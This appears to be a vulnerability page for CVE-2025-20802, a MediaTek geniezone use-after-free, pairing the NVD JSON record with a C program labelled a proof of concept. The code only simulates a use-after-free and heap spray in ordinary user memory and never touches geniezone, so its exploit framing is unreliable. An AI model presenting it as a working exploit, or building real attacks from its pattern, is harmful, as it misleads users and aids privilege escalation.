CVE-2025-20802

// CVE-2025-20802 PoC - MediaTek geniezone Use After Free // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires specific device and environment setup #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated geniezone object structure typedef struct { int id; char* buffer; void* vtable; } GenieZoneObject; // Trigger use-after-free condition void trigger_uaf() { // Allocate object GenieZoneObject* obj = (GenieZoneObject*)malloc(sizeof(GenieZoneObject)); obj->id = 1; obj->buffer = (char*)malloc(256); strcpy(obj->buffer, "Initial data"); // Store pointer before free (simulating the vulnerability) GenieZoneObject* dangling_ptr = obj; // Free the object but pointer still exists free(obj->buffer); free(obj); // Use after free - access freed memory // In real scenario, this could lead to privilege escalation if (dangling_ptr->buffer != NULL) { // This is the UAF condition printf("UAF triggered: accessing freed memory at %p\n", dangling_ptr->buffer); } // Heap spraying: allocate new memory to control freed region char* sprayed = (char*)malloc(256); memset(sprayed, 0x41, 256); // If addresses match, we control the freed memory content if (dangling_ptr->buffer == sprayed) { printf("Memory controlled! Potential code execution path established\n"); } } int main() { printf("CVE-2025-20802 PoC - MediaTek geniezone UAF\n"); printf("This PoC demonstrates the use-after-free concept\n"); trigger_uaf(); return 0; }

{"cve": {"id": "CVE-2025-20802", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:44.333", "lastModified": "2026-01-08T19:23:24.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In geniezone, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10238968; Issue ID: MSV-4914."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8367:-:*:*:*:*:*:*:*", "matchCriteriaId": "A28FA947-314F-465B-8ADD-F7973F02D82A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8781:-:*:*:*:*:*:*:*", "matchCriteriaId": "533284E5-C3AF-48D3-A287-993099DB2E41"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8786:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D2D5F91-6AAB-4516-AD01-5C60F58BA4A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8793:-:*:*:*:*:*:*:*", "matchCriteriaId": "2FBD3487-F8CE-406C-8BD7-DD57FF8CD60B"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/January-2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}